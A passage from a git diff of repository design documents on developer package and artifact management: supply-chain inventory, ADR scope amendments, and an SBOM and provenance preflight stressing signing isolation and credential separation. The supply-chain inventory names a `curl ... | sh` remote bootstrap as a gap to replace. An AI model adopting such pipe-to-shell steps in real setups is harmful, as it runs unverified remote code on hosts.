nonsecret operational settings. No shell, network, credentials, daemon or privilege is required for export. Keep CPU/memory/output limits distinct from semantic domains; exhaustion is failure. Never acquire or run the equivalence checker just to construct models. | +| Artifact publication | `run_artifact_path()` validates only the run-id component, not `subdir`, `filename`, symlinks or output-root containment; callers must constrain these. Reuse `atomic_write_json_artifact()` for suitable JSON after complete validation. It provides per-file replacement, not a multi-file transaction or immutable revision guarantee. Publish a bundle only once every digest/count matches, using the existing verified-tree publication pattern if transactional directory publication is needed. Avoid mixed old/new files and never expose a partial graph as complete. | +| Tool/config admission | Later mCRL2 acquisition follows `implementations/tooling/README.md`: `artifacts.lock.json` is authority; `tools/tool_versions.py` is a checked projection. Reuse `tools/tooling_policy_gate.py`, `maintained_client_acquisition.py`, `verified_tree_installation.py`, tooling schemas, admission policy, development profiles and selector bindings. `isabelle_tool.py` / `isabelle_sandbox.py` demonstrate verified acquisition and isolated offline execution, not a DPBB wrapper to copy wholesale. No floating version, PATH-discovered binary, live checksum trust, shell installer or unvalidated environment selector. | +| Workflow and governance | Reuse `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/check_repo_policy.py`, authority/concept/behavioral-claim gates, schema generation/publication/JSON gates, and assurance policy. Canonical execution is `noxfile.py`, `tools/nox_support/{graph,policy_lanes}.py`, `tools/verification_plan.py` and `.github/workflows/ci.yml`; the older note's `tools/verify_all.py` no longer exists. Use `RAES_REQUIREMENT_UID=SEM-232` when required. Targeted tests locally; full/integration/fuzz/completion lanes remain CI-only. | + +## Verification and extensibility boundaries + +Existing test incumbents include `test_issue_811_participant_bisimulation_design.py` +(design structure only), `test_behavioral_relations.py`, +`test_behavioral_relation_claims.py`, `test_json_ingress.py`, +`test_corpus_packaging.py`, `test_api_423_participant_crossing_contracts.py`, +and `test_run_319_participant_flow_policy.py`. Opacity model-check admission +offers count/domain/unsupported-result patterns, not a reusable bisimulation +algorithm. No new general graph framework or opacity evidence reuse is needed. + +Model acceptance must exercise each issue negative case independently, plus +export/readback agreement, source-order determinism, no partial publication, +resource exhaustion, safe error output, and cross-profile rejection. Regeneration +must compare against retained expected bytes/digests rather than blessing both +new output and new expectations in the same check. Passing design-structure +tests or matching two traces does not establish either model's completeness. + +The extensibility seam is the resolved, revisioned relation-profile variant +and independent transition authorities feeding a deterministic export boundary. +Observer, complete domains, label/projection rules, order, policy cuts and +supported dimensions belong in that profile, not environment defaults or +hardcoded assumptions in a generic serializer. A larger carrier or another +audience gets an explicit profile/model revision; exact historical replay +remains possible. Time, probability, concurrency, controller handoff and new +policy gates require reviewed semantics and capability admission, not merely +larger resource limits. Do not generalize the first finite result across them. + +## Non-goals + +#971 supplies independent complete finite models and reproducible export +evidence only. #972 owns runtime realization; #973 counterexamples; #974 the +equivalence decision; #975 independent reproduction; #976 publication of +reproduced assurance. Do not import those tasks into the model exporter or +fabricate placeholder positive claims to satisfy downstream evidence fields. +Formal equivalence, live realization, backend conformance, policy +noninterference and predicate opacity remain distinct. No new SDL, endpoint, +controller, backend service, policy engine, persistence layer, exception tree, +logging system, generic proof schema or workflow is justified here. diff --git a/docs/decisions/package-artifacts/README.md b/docs/decisions/package-artifacts/README.md index 1af4d75f4..a8ccc8699 100644 --- a/docs/decisions/package-artifacts/README.md +++ b/docs/decisions/package-artifacts/README.md @@ -1,27 +1,35 @@ # Developer package and artifact management -This is the design set for [issue #1168](https://github.com/OpenRAE/rae/issues/1168) -and [milestone 69](https://github.com/OpenRAE/rae/milestone/69). Merged PR #1229 -records maintainer acceptance. This design does not claim that its migration is -implemented. +## Current scope -Read the documents in this order: +[Issue #1313](https://github.com/OpenRAE/rae/issues/1313) corrects the original +#1168 design to match connected local development and GitHub-hosted CI. +The amendments to [ADR-106](../adrs/adr-106-developer-package-and-artifact-management.md) +and [ADR-107](../adrs/adr-107-artifact-promotion-and-release-admission.md) +supersede conflicting historical requirements on merge. -1. [ADR-106: architecture decision](../adrs/adr-106-developer-package-and-artifact-management.md) - and [ADR-107: promotion and release admission](../adrs/adr-107-artifact-promotion-and-release-admission.md). -2. [Repository inventory](inventory.md): concrete sources, gaps, owners and boundaries. -3. [Decision matrix](decision-matrix.md): solution classes and selection rationale. -4. [Architecture](architecture.md): authority, clients, profiles, trust and state models. -5. [Operations and acceptance](operations.md): qualification, recovery and ownership. -6. [Migration and issue graph](migration.md): implementation order and incumbent disposition. +The project has [one accountable maintainer](../../../MAINTAINERS.md). +Responsibility labels do not create independent human reviewers or a deputy. +Credential separation between build/test and publishing jobs is still required. -The inventory was taken at `5d2f738f`, the `dev` tip on 2026-09-05. GitHub issue -and PR states were read that day. Existing code is evidence of current -behavior; statements using “must” describe the accepted target. Acceptance of -the design and completion of the implementation program are separate events. +Keep locked input identity, native clients, safe private caches, frozen builds, +installed-package smokes, proof isolation, concurrent CI and output-bound +release provenance/SBOM. No enterprise distribution/promotion/revocation +service, full disconnected bundle, mandatory independent backup, service-load, +retention/GC service or recovery-drill program is required. -The design concerns repository development, verification and publication. -It does not redefine SDL, reusable scenario/module semantics, or backend -workload acquisition. Existing GOV-913 supply-chain and GOV-928 release -governance inform the design without transferring runtime semantic authority -to a development lockfile. +- [Architecture](architecture.md): current authority boundaries, then historical design. +- [Operations](operations.md): current maintenance and verification, then historical targets. +- [Migration](migration.md): current native dependency graph and cancelled/narrowed work. +- [Inventory](inventory.md) and [decision matrix](decision-matrix.md): historical analysis with current dispositions. +- [Tooling guide](../../../implementations/tooling/README.md): commands and implementation owners. + +#1224, #1225 and #1228 are cancelled as not planned. #1227 owns ordinary +release-byte verification and partial-publication recovery; #684 owns actual +PyPI/GitHub publication acceptance; #1277 owns verified dev-container entry +points. This cleanup adds no blanket blocker for those issues. + +The original 2026-09-05 design was accepted in #1229. Historical sections and the +[#1226 preflight](issue-1226-preflight.md) retain that record, but cannot +reintroduce cancelled requirements. SDL runtime package/module semantics, +portable contracts and their trust authorities are unchanged. diff --git a/docs/decisions/package-artifacts/architecture.md b/docs/decisions/package-artifacts/architecture.md index 9000bc911..4d07a7236 100644 --- a/docs/decisions/package-artifacts/architecture.md +++ b/docs/decisions/package-artifacts/architecture.md @@ -1,5 +1,38 @@ # Developer artifact architecture +## Current architecture — #1313 + +Reviewed Git selects input identity; maintained clients acquire it; private +installers validate and atomically publish it. There is no promotion-service +hop. Ordinary selection reads only its owning bounded, duplicate-free +authorities and selected dependencies. Repository-wide validation is a separate +explicit check. + +| Concern | Current authority | +|---|---| +| Tool versions and raw/installed hashes | `implementations/tooling/artifacts.lock.json`; `tools/tool_versions.py` and selected literal bindings are checked projections | +| Python resolution | Project and tooling `pyproject.toml`/`uv.lock` pairs; no second Python version table | +| Build and installed smokes | Hashed build constraints and project-target smoke projections generated from those locks | +| Workflow execution and updates | Native `.github/workflows/*.yml` and `.github/dependabot.yml`; focused pin, credential and permission tests | +| Optional container | Native Dockerfile/devcontainer configuration; locked base digest, signed OS repositories, non-root lifecycle | +| Release evidence | Standard runtime SBOM/provenance plus exact output/producer identity; native release-workflow inputs, not an Actions inventory model | + +Python acquisition is public and connected. An isolated smoke may install a +verified local wheelhouse; that is a test mechanism, not a supported +disconnected-development profile. Host prerequisites are capability declarations, +not a package-repository snapshot service. The release test image uses the +locked digest directly; no same-job export/import is required. + +Roles name responsibilities of the one maintainer in MAINTAINERS.md. There is +no independent-review fiction, mandatory deputy, or service activation program. +The ADR amendments and [migration](migration.md) supersede the original model. + +## Historical design — superseded where inconsistent + +The remainder records the earlier design. It is not current acceptance policy; +the #1313 ADR amendments and current scope above take precedence. + + ## Authority map The following paths are the selected *implementation contract*, not files diff --git a/docs/decisions/package-artifacts/decision-matrix.md b/docs/decisions/package-artifacts/decision-matrix.md index cd6d3c946..761dcccf3 100644 --- a/docs/decisions/package-artifacts/decision-matrix.md +++ b/docs/decisions/package-artifacts/decision-matrix.md @@ -1,5 +1,25 @@ # Package and artifact management decision matrix +## Current selection — #1313 + +The project selects maintained native clients with reviewed Git input identity, +private local/GitHub-runner caches, frozen Python environments and native +workflow configuration. It does not select an enterprise repository manager, +promotion/revocation service, disconnected distribution, independent-copy +backup, retention/GC service or an operations qualification program. +Earlier comparisons of those alternatives remain historical analysis. + +Ordinary release output identity, useful SBOM/provenance and same-byte recovery +remain in scope. Optional container configuration is native; signed moving OS +repositories are permitted without claiming reproducible images or new tested +platforms. MAINTAINERS.md, not disjoint role labels, defines accountability. + +## Historical design — superseded where inconsistent + +The remainder records the earlier design. It is not current acceptance policy; +the #1313 ADR amendments and current scope above take precedence. + + ## Evaluation method The criteria come from #1168 and the [repository inventory](inventory.md). diff --git a/docs/decisions/package-artifacts/inventory.md b/docs/decisions/package-artifacts/inventory.md index a91a749c7..3d7580d9d 100644 --- a/docs/decisions/package-artifacts/inventory.md +++ b/docs/decisions/package-artifacts/inventory.md @@ -1,5 +1,31 @@ # Acquisition and publication inventory +## Current disposition — #1313 + +This document preserves the original inventory, not an executable site-count +registry. `inventory-coverage.json`, runtime-selection call accounting and +parallel Actions use-site records are retired. Changes are checked against +their actual lock, native configuration and behavior tests. + +I01–I04 retain frozen project/tool/build dependencies and installed smoke +projections, without enterprise/offline contexts or tool-wheelhouse exports. +I05–I10 retain maintained curl, reviewed hashes, private safe installation and +proof isolation. I11 uses a direct digest-pinned native container pull and +daemon identity check. I13 keeps exact VM identity, checked bootstrap/guest +bytes, authenticated SSH and visible errors; signed native packages and +hash-pinned Python dependencies install online. I14 keeps both raw-byte and +canonical vocabulary identity. Action pins live in native workflows. +Output SBOM/provenance and tested byte identity remain; service operations do not. + +MAINTAINERS.md identifies one accountable human. Historical role labels below +are responsibilities, never disjoint reviewers or mandatory deputies. + +## Historical design — superseded where inconsistent + +The remainder records the earlier design. It is not current acceptance policy; +the #1313 ADR amendments and current scope above take precedence. + + ## Method and boundary Baseline: `5d2f738f`, inspected 2026-09-05. The survey covered all tracked @@ -48,7 +74,7 @@ the complete closure of every R input, including tools needed to acquire it. | I08 managed input | [`osv_scanner_tool.py`](../../../tools/osv_scanner_tool.py); supply-chain lane | Security + Tooling | OSV Scanner 2.4.0; reviewed per-platform raw/installed identities; qualified curl or explicit locked local input; per-use type/mode/hash checks, bounded hashing and atomic installation | R in its required lane. Preserve stronger OSV controls and distinct scan outcomes; #1219 owns shared cache concurrency | | I09 managed input | [`isabelle_tool.py`](../../../tools/isabelle_tool.py), [`verified_tree_installation.py`](../../../tools/verified_tree_installation.py); participant opacity proof | Proof + Tooling | Isabelle2025-2 Linux archive, reviewed hash and exact 1,228,480,874-byte size, two ordered official locators, and a reviewed canonical installed-tree identity. Qualified curl with the large-object budget or an explicit locked local input; digest-keyed private raw object; complete immutable tree reverified on every use | R on Linux x86_64. Preserve sandbox/resources; an approved alternate locator is an explicit new invocation, never a fallback loop; integrity failures quarantine without reacquisition | | I10 managed input / bootstrap | `canonical-verification.yml`: apt bubblewrap, fontconfig, fonts-dejavu-core; libc-bin C.UTF-8 locale, CA certificates, Git, shell/coreutils and platform Python; the proof archive carried from a qualified-curl host | Platform + Proof + Tooling | Hosted Ubuntu image plus native package repository signing roots; apt packages are not version-locked. The proof host offline kit names the Bubblewrap, fontconfig, font and locale providers, and replay preflight lists any missing one | R for proof/bootstrap. Record runner-image identity, package snapshot and qualification; ship/pre-seed native dependencies for disconnected Linux proof | -| I11 managed input | [`test_reference_backend_docker_integration.py`](../../../implementations/python/tests/test_reference_backend_docker_integration.py); Docker/Podman test fixture and release container job | Backend + Release | Reviewed multiarch Alpine digest `sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc`; runtime pulls unconditionally | R for release, L for ordinary PR/local. Preserve #1110 fail-closed mode; add mirror/import support and verify both index and selected platform graph. Fixed test workspace names need concurrent-run isolation | +| I11 managed input | [`artifacts.lock.json`](../../../implementations/tooling/artifacts.lock.json) `release-test-alpine`; [`oci_release_image.py`](../../../tools/oci_release_image.py), `oci_image_layout.py` (retired in #1313); Docker/Podman test harness and release container job | Backend + Release | Locked under `oci-graph-v1`: reviewed multiarch index plus the selected manifest, config, layer and uncompressed layer identities for Linux x86_64 and arm64. Acquisition is a closed `preseeded`/`mirror`/`public` source class with no fallback between classes | R for release, L for ordinary PR/local. #1110 fail-closed mode preserved; release lane runs pre-seeded from a verified export. Each run takes an opaque namespace, so concurrent runs no longer share native resource names (#1223) | | I12 managed input / bootstrap | Docker/Podman daemon and CLI, libvirt/QEMU tools; [`tools/real-daemon/`](../../../tools/real-daemon/README.md) | Backend + Platform | Hosted runtime or host-installed native packages; daemon features and privileges are external prerequisites | R when selected, otherwise L. Publish a tested host profile, exact native package/base-image inventory and capability checks; no claim that downloading a CLI supplies a daemon | | I13 managed input | [`run_aws_smoke.sh`](../../../tools/real-daemon/run_aws_smoke.sh), [`run_aws_guest_certify.sh`](../../../tools/real-daemon/run_aws_guest_certify.sh); AWS AMI/user-data, apt, CirrOS 0.6.2 image, uv bootstrap, libvirt-python | Backend + Platform | Script AMI/version choices; CirrOS lacks a reviewed digest and download failure is suppressed; remote uv uses `curl ... | sh`; uv sync/libvirt-python installation not fully frozen | L, R only for explicitly selected live certification. Replace pipe-to-shell bootstrap, pin VM image and native/build closure, remove suppressed acquisition errors; AWS identity/network setup stays an external service | | I14 managed input | [`check_attack_tactic_vocabulary.py`](../../../tools/check_attack_tactic_vocabulary.py), [`check_atlas_tactic_vocabulary.py`](../../../tools/check_atlas_tactic_vocabulary.py), [`check_nist_csf_defensive_vocabulary.py`](../../../tools/check_nist_csf_defensive_vocabulary.py), [`check_autonomous_behavior_vocabularies.py`](../../../tools/check_autonomous_behavior_vocabularies.py); remote verification of ATT&CK v19.1, ATLAS 2026.06, NIST CSF 2.0, W3C ActivityStreams and FIPA source artifacts | Semantics + Security | Five checked-in source snapshots with source-specific raw or canonical digest meanings; opt-in urllib fetch and parser/normalization logic | Local snapshot checks R; remote comparison N. Retain each incumbent digest meaning; add a distinct raw-byte identity only where the current digest is canonical/semantic, retain source bytes for reproducible refresh, and replace network acquisition only | @@ -86,13 +112,13 @@ row and blocks qualification; a top-level action pin is not closure evidence. | ID / class | Surface and consumers | Owner | Current boundary / required disposition | |---|---|---|---| | O01 managed output | `dist/raes-*.whl`, `dist/raes-*.tar.gz`; local build, corpus integration tests, release smokes | Release | Exact-SHA workflow checks archive membership and installs each. Add digest-bound admission, constrained build/smoke dependencies and producer evidence | -| O02 managed output, currently missing | Release SBOM, build provenance, complete admission bundle | Release + Security | No SBOM generation step exists in `release-please.yml`. Record both runtime distribution dependencies and separate build/tool inventory; attest output subjects and retain evidence | -| O03 managed output | GitHub draft/public Releases and PyPI; `.github/workflows/release-please.yml`, release configs and [`releasing.md`](../../explain/releasing.md) | Release | Release-please, exact-SHA verifier, container gate, separate OIDC PyPI and GitHub jobs exist. Actions handoff retains distributions 7 days; GitHub upload still uses `--clobber`. Add durable admitted bytes, no-overwrite recovery and fresh privileged admission | +| O02 managed output | Release SBOM, build provenance, admission bundle; `tools/release_evidence.py`, `release-please.yml` | Release + Security | #1226 generates reconciled runtime SBOMs and a separate build/tool input inventory, attests output subjects through `actions/attest-build-provenance`, admits them against the reviewed producer policy before either publisher, and retains them on the GitHub Release with readback digests. Durable bundle storage remains #1224/#1227/#1228 | +| O03 managed output | GitHub draft/public Releases and PyPI; `.github/workflows/release-please.yml`, release configs and [`releasing.md`](../../explain/releasing.md) | Release | Release-please, exact-SHA verifier, container gate, separate OIDC PyPI and GitHub jobs exist. #1227 added publication-boundary digest verification, per-destination reconciliation and no-overwrite attachment; publishers carry no candidate checkout. Actions handoff retains distributions 7 days, which bounds same-byte recovery | | O04 derived delivery output | Sphinx `docs/_build`, Pages artifacts/deployment, Read the Docs build | Docs | Rebuildable public site; source/content gate plus pinned build inputs. Not an upstream package repository. Record source/run for deployment and retain according to site policy | | C01 derived cache | `uv` package/tool caches, `.venv`, `.nox` | Tooling + Platform | Client-owned performance state, not portable archival format or cross-user trust. Recreate environments; use supported uv cache maintenance. Pre-seeding uses raw admitted wheels/sdists and locks | | C02 derived cache | `.cache/raes-sdl/tooling` archives/executables, proof installation markers and proof heaps; GitHub Isabelle restore | Tooling + Proof | Several different cache algorithms; path/version or marker hits are weaker than per-use byte verification. Namespace by platform/digest/trust domain; eliminate shared `.download` collisions; protected immutable seed plus private work directories | | C03 derived evidence until admitted | Coverage XML/JSON, junit, Nox `reports/`, docs link reports, OSV JSON/SARIF, Scorecard SARIF (5-day workflow retention), Sonar upload | Tooling + Security | Ordinary reports are ephemeral. A release admission record must retain its referenced reports with producer, run, SHA and hash; PR reports can never authorize release | -| C04 derived cache / scratch | Container layer stores, test workspaces, cloud/VM disks, temporary source installs, test-generated OCI layouts and module caches | Backend + Platform | Rebuildable per-user/run state. Test OCI input bytes are I11; runtime module bundles remain domain artifacts. No cross-run authority or implicit concurrency guarantee | +| C04 derived cache / scratch | Container layer stores, test workspaces, cloud/VM disks, temporary source installs, test-generated OCI layouts and module caches | Backend + Platform | Rebuildable per-user/run state. Test OCI input bytes are I11; runtime module bundles remain domain artifacts. An exported layout is an untrusted carrier re-admitted by `oci_image_layout.py` (retired in #1313) on every import and never becomes an authority. No cross-run authority or implicit concurrency guarantee | | S01 external service and managed freshness data | OSV API/database, vulnerability policies/waivers | Security | Scanner binary pin does not pin vulnerability knowledge. Required online scan errors fail. Disconnected qualification needs an admitted dated database snapshot and expiry policy; absent/stale data means not evaluated, never clean | | S02 external service | Ground Control governance API, GitHub APIs/status apps, Sonar, Scorecard publishing, documentation link targets, AWS APIs/checkip | Respective governance/Tooling/Security/Backend owner | Not package acquisition. Record availability/credential constraints separately. Offline execution cannot claim live checks; do not replace them with fabricated responses or broaden this issue into an API rewrite | | D01 domain, excluded | SDL runtime package repositories, software outcomes/acquisition constraints (#1205), typed profiles (#1202/#1208), module registry OCI bundles, backend workload declarations, env-packs/TechVault content | Runtime/SDL/domain owners | Retain existing specs/contracts/admission. Optional shared infrastructure must use distinct namespaces/credentials. Module resolver network code is outside this development-acquisition migration and must not be reused by it | diff --git a/docs/decisions/package-artifacts/issue-1226-preflight.md b/docs/decisions/package-artifacts/issue-1226-preflight.md new file mode 100644 index 000000000..d08cfc8ef --- /dev/null +++ b/docs/decisions/package-artifacts/issue-1226-preflight.md @@ -0,0 +1,209 @@ +# Issue #1226: output-bound SBOM and provenance preflight + +## Current scope clarification — #1313 + +The analysis below is the historical #1226 preflight. Retain useful standard +SBOM/provenance, trusted producer identity, exact output digests and publisher +permission separation. The input inventory now reads the native release and +reusable workflow graph, not a duplicate Actions policy. + +#1227 owns ordinary release-byte verification and partial-publication recovery; +#684 owns publication acceptance. Enterprise storage, promotion/revocation +services, mandatory independent copies, disconnected bundles and operational +qualification are cancelled, not dependencies of these release boundaries. +MAINTAINERS.md names the single accountable maintainer. No new human role +separation, deputy or blanket release gate follows from this preflight. + +## Historical design — superseded where inconsistent + +The remainder records the earlier design. It is not current acceptance policy; +the #1313 ADR amendments and current scope above take precedence. + + +## Authority and readiness + +Architecture review against repository commit `00259d81`. The supplied #1226 +issue is the delivery contract under **GOV-913 — Trust And Integrity Of Reusable +Assets**. This note +clarifies [ADR-106](../adrs/adr-106-developer-package-and-artifact-management.md) +and [ADR-107](../adrs/adr-107-artifact-promotion-and-release-admission.md), both +already recorded as accepted through #1229. It neither amends their decisions +nor constitutes implementation, an implementation plan, or release approval. + +Before execution, record a named Release/Security implementation owner and +confirm completion of the native blockers #1168, #1216, #1218 and #839 against +the [migration graph](migration.md). Local implementations and accepted ADR +text do not establish current GitHub dependency state. This preflight has not +verified those live relationships or assigned an owner. + +The current release workflow constrains builds, rebuilds a wheel from the sdist, +checks corpus membership, and smokes both installed distributions. It has no +output SBOM/provenance generation or durable admission bundle. Do not describe +those target guarantees as already delivered. + +[ADR-071](../adrs/adr-071-reusable-asset-trust-and-integrity-policy.md) and the +[GOV-913 spec](../../../specs/supply-chain/reusable-asset-trust-integrity.md) +separate identity, integrity and authenticity. Their reusable-family policy is +declarative, not a release evidence envelope or issuer verifier. #1226 supplies +release evidence under ADR-106/107 without changing that published contract. + +## Evidence boundaries + +- **Runtime dependencies:** use the exact built wheel's distribution metadata + and an explicitly selected target/extras closure. A wheel generally declares + dependencies; their presence in a lock or wheelhouse does not mean their bytes + are bundled in that wheel. Preserve dependency edges, markers and optional + scope. Distinguish declared requirements from versions resolved for a tested + installation. The base installation must remain identifiable independently + of extras. Here `dev` and `docs` are published optional extras: inventory them + only in explicitly labeled extra profiles, never as unconditional runtime. +- **Installed observations:** the existing all-extras smoke installs the full + projected requirements and then installs the candidate with `--no-deps`. + Dumping that environment cannot establish the candidate's runtime closure. + Reconcile artifact metadata, locked selection and observed installation; + missing or inconsistent metadata/edges must fail rather than silently omit + dependencies. Use maintained metadata/marker parsing and the incumbent locked + closure walker, not a second dependency resolver or hand-written name parser. +- **Sdist identity:** bind the SBOM to the original `.tar.gz` digest. Keep the + `from-sdist/` wheel as a separately identified derived test subject, with its + relationship to the original sdist recorded. Its digest cannot stand in for + the sdist or the directly built release wheel. Do not assume rebuilding the + same source yields the same wheel bytes. Preserve source/corpus membership + evidence alongside dependency evidence. +- **Build/tool/native inputs:** inventory these separately from runtime, + including generator/verifier dependencies, build backend, Python/uv payloads, + actions and transitive payloads, actual runner image release/architecture, + required native inputs and test-image digests. Distinguish selected inputs + from observed use and external hosted services. A runner label or policy hash + alone is not an observed host inventory or full host reproducibility claim. +- **Binding:** use standard SBOM and maintained attestation formats, with only + the minimal internal release association record needed by ADR-107. Bind each + output basename, size and SHA-256; SBOM and input-inventory digests; repository, + candidate source SHA, protected producer workflow definition identity, run id + and attempt, release id/tag; target/extras profile; lock/export/policy hashes; + and corpus/smoke/test results. Candidate source and producer workflow revisions + are separate identities. Every evidence association must lead to the exact + wheel/sdist subjects; neither filenames nor matching versions establish it. + Authenticate sidecar associations as well as subjects, without circular + self-hashing or a second independently maintained subject list. + +## Cross-cutting layers and canonical incumbents + +All paths below are repository-relative. Extend the existing authority or +boundary where needed; an inventory record never grants execution authority. + +| Layer | Incumbent and required behavior | +|---|---| +| Dependency selection | `implementations/python/{pyproject.toml,uv.lock}`, `implementations/tooling/python/{pyproject.toml,uv.lock,build-constraints.txt,smoke/}`; `tools/generate_python_closures.py` and `tools/generate_python_closures_locks.py`. Admit generator/verifier dependencies in the tool lock, including transitive/build needs, and regenerate hash-complete projections. Keep frozen consumers. A native generator instead enters the existing artifact/host policy; a SHA-pinned action still needs payload admission. | +| Profiles and environment shapes | `tools/python_closure_profiles.py` owns `PythonClosureProfile`, runtime checks, the closed tool command allowlist and `closure_environment`; `implementations/tooling/profiles/development-profiles.json` and its schema own context/target/extras. Select reviewed profile ids, not arbitrary package lists, CLI fragments or environment overlays. Preserve minimal child environments, disabled keyring/interpreter downloads, explicit index policy, mirror-only isolation and verified offline wheelhouses. Do not broaden candidate environments to pass signing/storage credentials. | +| Static policy and schemas | `tools/check_tooling_artifact_policy.py`, `tools/tooling_artifact_policy_common.py`, `tools/tooling_policy_gate.py`, and `implementations/tooling/schemas/` own bounded JSON, local schema references, closed shapes, path/platform checks, forbidden executable keys, credential-bearing locator checks and cross-record joins. Update canonical schema, records and semantic checks together. New acquisition sites also affect `selector-bindings.json` and `inventory-coverage.json`; dynamic subprocess commands need their existing disposition. | +| Producer trust and authorization | `implementations/tooling/admission-policy.json` is the policy authority; its current closed v1 schema has no release producer/issuer fields. Extend that authority deliberately with Security review; a string in `accepted_evidence` does not validate an issuer. Pin the accepted issuer, repository, protected workflow identity and subject expectations in trusted policy. Candidate lock/policy bytes can be recorded as inputs but cannot select the publisher's acceptance policy. | +| Workflow security | `.github/workflows/release-please.yml`, `canonical-verification.yml`, `implementations/tooling/actions-policy.json` and `action_policy_*.py` own event/ref trust, reusable-workflow propagation, permissions, credentials, runner joins, action inputs and cache/artifact roles. Use their safe YAML parser and closed condition grammar. Preserve `persist-credentials: false`. New action sources/use sites, hosted-service exceptions and OIDC/attestation effects require complete admission records. `test_release_workflows.py::_REVIEWED_JOB_WRITE_SCOPES` separately enforces exact privileged-job grants; do not relax it globally. | +| Host/process/filesystem | `tools/bootstrap_profile.py` binds host qualification; `tools/python_closure.py` builds and smokes outside checkout; `tools/python_closure_wheelhouse.py` owns path admission, regular-file hashing and exact inventory checks. Use private job storage, bounded reads/processes, fixed argument arrays, validated basenames and explicit output membership. Reject links, traversal, duplicate/extra/missing subjects and unsupported formats before trust. Existing path/hash helpers do not provide an atomic hostile-writer snapshot: keep candidate writers out of signing/storage jobs and rehash each transferred copy. | +| Diagnostics and validation failures | Reuse `tools.policy.common.PolicyFailure` and the existing text/JSON policy envelope; keep the closure tooling's `ValueError`/`RuntimeError` and bounded client failure boundary. Do not introduce application HTTP errors or a parallel exception hierarchy. Public failures carry stable classes and logical ids; suppress raw tool stderr, tracebacks containing client output, response bodies, signed URLs and private inventory details. Record safe subject/run/profile/policy identities and verification/retention outcomes for audit. | +| Policy identity and persistence | Reuse `tools/check_tooling_artifact_policy.py::tooling_policy_sha256`; it deliberately excludes qualification results and hashes defined authority sets. Register any new authority in its coverage and retain separately named raw lock/export/workflow hashes; do not relabel the aggregate as a raw-file hash. Use ADR-107's retained bundle and same-byte/readback rules, not a writable cache or research evidence index as release authority. | +| Verification and governance | Nox (`noxfile.py`, `tools/nox_support/`) remains the verification graph. Preserve `test_release_workflows.py`, `test_corpus_packaging.py` and the Python-closure/action-admission cases in `test_tooling_artifact_policy.py`. Keep `.ground-control.yaml`, `.gc/plan-rules.md`, repository policy, requirement governance, ADR pins and pre-commit checks visible. Use `RAES_REQUIREMENT_UID=GOV-913` when the branch lacks the UID; preserve traceability without treating historical links as proof of this issue's completion. | + +The complete action-policy chain is `action_policy_yaml.py` (duplicate/alias-free +parsing), `action_policy_conditions.py` (event/ref, condition and secret shapes), +`action_policy_matrix.py` (runner joins), `action_policy_sources.py` and +`action_policy_effects.py` (source/transitive capabilities), then +`action_policy_jobs.py`, `action_policy_job_steps.py` and `action_policy_main.py` +(job/use-site and reusable-workflow grants). Schema acceptance of `attestations` +or `id-token` permissions alone does not authorize a new signing boundary. +The static action checks do not prove arbitrary shell code safe: bind untrusted +values through explicit, validated environment fields and fixed argv, never +interpolate candidate metadata into shell source or workflow output commands. + +Evidence is untrusted parser input even after transfer: bound file size, nesting, +archive expansion/member counts and verifier output; reject duplicate keys, +ambiguous subjects and unsupported format versions. Use maintained SBOM/metadata +parsers without importing the candidate package, executing build hooks or +fetching candidate-supplied schema references. `load_bounded_json_object` is the +incumbent repository-JSON boundary, not a complete hostile-stream validator; +likewise `python_closure._run` limits time but buffers captured output. Extend +the appropriate local boundary where needed, preserving safe failure envelopes. + +Signing must run at a protected producer boundary that never imports or executes +candidate scripts, build hooks, policy or installed packages. A build job must +not gain OIDC or publication permissions merely to attach an attestation. The +signer must verify the trusted workflow/run handoff and measure received bytes; +signing arbitrary candidate JSON would only authenticate an unchecked claim. +Keep storage-write, attestation and PyPI/GitHub publication identities separate. +External rulesets, protected environments, publisher registration and storage +ACLs must prevent signing credentials from authorizing package publication. +Tokens belong in the maintained client's supported protected credential channel, +never argv, URLs, workflow outputs, persisted Git configuration or evidence. +No untrusted job may populate a cache later executed by a privileged job. +Protected tools, import paths, working directory, executable search path and +home/config must come from the trusted producer environment. A protected script +launched inside a candidate checkout can still import or execute candidate code. + +Use the maintained verifier for signatures, certificate/issuer checks and its +required trust material; use repository validation for release association and +policy decisions. Do not implement cryptography, certificate verification or +HTTP acquisition. A successful signature with the wrong repository/workflow, +run/attempt, source, predicate or subject is a rejection. Skips, missing evidence, +malformed verifier output, cancellations and infrastructure failures never +become admission. Expected identities come from trusted context, not the bundle +being verified. Current status/verification-time rules remain those in +[operations](operations.md). + +## Retention, extension seam and acceptance limits + +Keep distribution files and evidence in explicit separate directories/roles. +The current corpus check rejects unexpected distribution files, and publishers +consume the distribution directory: adding SBOM JSON to that directory must not +broaden upload globs or bypass the exact wheel/sdist set. Preserve both installed +smokes, zero-skip required Docker testing and exact-SHA checks, including +post-approval release/tag/SHA revalidation. +The current GitHub attachment step still uses `--clobber`; that is an incumbent +gap assigned to #1227, not a publication pattern to copy for retained evidence. +Absent or rejected evidence must block the handoff; #1226 cannot satisfy T19 +with an optional report while the publisher remains reachable on failure. + +#1226 must demonstrate retention outside short-lived Actions artifacts; uploading +to Actions or an attestation service alone is not that demonstration. Retain +original wheel/sdist, associated SBOM/input inventory, attestation verification +material and lock/policy snapshots under the existing storage-interface design, +with readback digests, a durable locator and a named retention owner. Apply the +supported-release-lifetime-plus-one-year rule and restricted/public separation +from operations.md. Record actual retention evidence; do not claim independent +copies or disaster recovery without qualification. #1227 owns full publisher +admission and same-byte recovery, #1224 the storage service, and #1228 operations +qualification. If the retention destination is unavailable, record the unmet +acceptance criterion and coordinate the native graph; do not waive #1226's AC. + +The extension seam is a reviewed **target/extras profile plus standard evidence +format/version and producer-policy identity**. Reuse the closure walker with +explicit root extras/groups; its current all-or-none root-optional switch is +not a named-extras selector. A second target or extra should extend profile +data and qualification, not copy a workflow, package list or resolver. Keep +marker evaluation bound to the selected target: `target_environment()` currently +inherits some host marker fields and synthesizes `python_full_version` as +`major.minor.0`. Patch-sensitive or cross-OS resolution must use the reviewed +target's full marker environment rather than silently inheriting the generator +host. Test those distinctions in the incumbent closure walker. + +Keep storage locator/profile selection independent of output identity. Choose and +admit the maintained generator/verifier and supported formats before execution; +do not add an open plugin framework or arbitrary predicate/command fields. + +Implementation evidence must execute [T03, T04 and T19](operations.md): declared +CPython 3.11–3.14/ABI/extras qualification; hostile candidate/credential isolation; +and missing/extra/replaced wheel, sdist or SBOM, absent attestation, foreign +producer and wrong subject rejection. Include substituted input inventories, +run/attempt replay, sidecar swaps, generator/verifier failures and safe 